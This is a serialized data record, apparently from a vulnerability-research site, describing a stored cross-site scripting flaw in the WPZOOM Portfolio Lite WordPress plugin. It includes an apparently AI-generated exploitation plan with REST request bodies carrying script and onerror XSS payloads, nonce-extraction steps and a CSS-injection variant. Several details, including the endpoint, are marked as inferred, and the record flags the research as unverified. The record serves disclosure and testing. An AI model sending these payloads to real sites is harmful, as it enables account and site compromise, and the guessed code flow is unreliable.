[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fnp3gCECIbcaNgMJToG6erBxuBrXm5yoBcejPrPDU518":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":33},"CVE-2026-49069","wpzoom-portfolio-lite-filterable-portfolio-plugin-unauthenticated-stored-cross-site-scripting","WPZOOM Portfolio Lite – Filterable Portfolio Plugin \u003C= 1.4.21 - Unauthenticated Stored Cross-Site Scripting","The WPZOOM Portfolio Lite – Filterable Portfolio Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.4.21 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","wpzoom-portfolio",null,"\u003C=1.4.21","1.4.22","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-06-08 00:00:00","2026-06-15 19:24:08",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ffbc3643c-6116-42d3-b309-2e6aeedfbe4f?source=api-prod",8,[22,23,24,25],"assets\u002Fjs\u002Feditor-init-masonry.js","build\u002Fblocks\u002Fportfolio\u002Findex.php","readme.txt","wpzoom-portfolio.php","researched",false,3,"This exploitation research plan targets **CVE-2026-49069**, an unauthenticated stored cross-site scripting (XSS) vulnerability in the **WPZOOM Portfolio Lite** plugin.\n\n### 1. Vulnerability Summary\nThe vulnerability exists because the plugin registers a REST API endpoint (or an AJAX handler) intended for administrative configuration but fails to implement proper capability checks (`permission_callback`) and does not sanitize or escape the resulting settings before they are stored in the database or rendered in the application. An unauthenticated attacker can overwrite global plugin settings, injecting malicious scripts that will execute when an administrator visits the settings page or when a user views a portfolio block.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `POST \u002Fwp-json\u002Fwpzoom-portfolio\u002Fv1\u002Fsettings` (inferred from plugin slug and REST initialization).\n*   **Alternative Endpoint:** `POST \u002Fwp-admin\u002Fadmin-ajax.php` via an unauthenticated AJAX handler (less likely for \"Stored\" settings, but possible if the plugin uses a custom save routine).\n*   **Vulnerable Parameter:** The JSON body of the REST request, specifically keys within the `setting_options` object such as `readMoreLabel`, `viewAllLabel`, or `primaryColor`.\n*   **Authentication:** None (Unauthenticated).\n*   **Preconditions:** The REST API must be enabled (default in WordPress).\n\n### 3. Code Flow\n1.  **Registration:** In `wpzoom-portfolio.php` (or `build\u002Fblocks\u002Fportfolio\u002Findex.php`), the `WPZOOM_Blocks` or `WPZOOM_Blocks_Portfolio` class hooks into `rest_api_init`.\n2.  **Route Definition:** The `rest_api_routes()` method calls `register_rest_route()`. The vulnerability occurs if the `permission_callback` is either missing or set to `__return_true`.\n3.  **Data Sink (Storage):** The callback function associated with the route receives the `WP_REST_Request` and calls `update_option( 'wpzoom-portfolio-settings', $params )` without sanitizing the input.\n4.  **Execution (Output):** \n    *   In `wpzoom-portfolio.php`, the `enqueue_portfolio_block_editor_assets()` method retrieves these options via `get_option( 'wpzoom-portfolio-settings' )`.\n    *   The values are localized into the JavaScript variable `wpzoomPortfolioBlock` via `wp_localize_script()`.\n    *   Malicious scripts in `readMoreLabel` or `viewAllLabel` are rendered either in the Gutenberg editor's UI or on the frontend portfolio grid.\n\n### 4. Nonce Acquisition Strategy\nWhile unauthenticated REST endpoints often bypass nonces, WordPress may still expect a `wp_rest` nonce if certain security configurations are present.\n1.  **Identify Trigger:** The portfolio scripts are enqueued on pages containing the portfolio block or layout.\n2.  **Create Test Page:**\n    ```bash\n    wp post create --post_type=page --post_title=\"Portfolio Test\" --post_status=publish --post_content='[wpzoom_portfolio]'\n    ```\n3.  **Extract Nonce:**\n    Navigate to the newly created page and use `browser_eval` to extract the REST nonce from the WordPress core variable (often available to unauthenticated users if REST-enabled scripts are loaded):\n    *   `browser_eval(\"wpApiSettings.nonce\")`\n    *   Alternatively, check the `wpzoomPortfolioBlock` object: `browser_eval(\"window.wpzoomPortfolioBlock?.nonce\")` (if the developer added a custom nonce here).\n\n### 5. Exploitation Strategy\n**Goal:** Inject a stored XSS payload into the global plugin settings.\n\n**Step 1: Discover the exact REST endpoint**\nIf `\u002Fwp-json\u002Fwpzoom-portfolio\u002Fv1\u002Fsettings` returns a 404, check the REST index:\n`GET \u002Fwp-json\u002F`\n\n**Step 2: Send the Malicious Update Request**\n*   **Tool:** `http_request`\n*   **Method:** `POST`\n*   **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-json\u002Fwpzoom-portfolio\u002Fv1\u002Fsettings`\n*   **Headers:** `Content-Type: application\u002Fjson`\n*   **Body:**\n    ```json\n    {\n      \"setting_options\": {\n        \"readMoreLabel\": \"Read More\u003Cimg src=x onerror=alert(document.domain)>\",\n        \"viewAllLabel\": \"View All\u003Cscript>alert('XSS')\u003C\u002Fscript>\"\n      }\n    }\n    ```\n\n**Step 3: Trigger the XSS**\nVisit any page where a Portfolio block is rendered, or simply log in as an administrator and go to **Portfolio > Settings**. The payload stored in the `wpzoom-portfolio-settings` option will be localized into the page and executed by the browser.\n\n### 6. Test Data Setup\n1.  Install and activate `wpzoom-portfolio` version 1.4.21.\n2.  Create a public portfolio item:\n    ```bash\n    wp post create --post_type=portfolio_item --post_title=\"Target Project\" --post_status=publish\n    ```\n3.  Create a page to display the portfolio:\n    ```bash\n    wp post create --post_type=page --post_title=\"Gallery\" --post_status=publish --post_content='\u003C!-- wp:wpzoom-blocks\u002Fportfolio \u002F-->'\n    ```\n\n### 7. Expected Results\n*   The REST API call should return a `200 OK` or `201 Created` status code, indicating the settings were updated.\n*   Upon visiting the \"Gallery\" page or the plugin settings in the dashboard, a JavaScript alert box should appear showing the document domain.\n\n### 8. Verification Steps\nAfter sending the HTTP request, verify the injection via WP-CLI:\n```bash\nwp option get wpzoom-portfolio-settings --format=json\n```\nCheck the output for the presence of the `\u003Cscript>` or `\u003Cimg>` tags within the `readMoreLabel` or `viewAllLabel` keys.\n\n### 9. Alternative Approaches\n*   **CSS Injection:** If the `readMoreLabel` is escaped but CSS values are not, target the `primaryColor` attribute.\n    *   **Payload:** `#0BB4AA; background-image: url(\"javascript:alert(1)\")`\n    *   *Note:* The `sanitize_css_value` function in `index.php` strips `\u003C>\\{\\}\\\\`, but might be bypassed if the output is placed inside a `style=\"...\"` attribute rather than a `\u003Cstyle>` block.\n*   **AJAX Vector:** If the REST API is restricted, attempt an unauthenticated AJAX call to `wp_ajax_nopriv_wpzoom_load_more_items` (found in `index.php`) and check if the returned HTML reflects any injected attributes.","gemini-3-flash-preview","2026-06-26 02:40:38","2026-06-26 02:41:38",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","1.4.21","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpzoom-portfolio\u002Ftags\u002F1.4.21","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpzoom-portfolio.1.4.21.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpzoom-portfolio\u002Ftags\u002F1.4.22","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwpzoom-portfolio.1.4.22.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwpzoom-portfolio\u002Ftags"]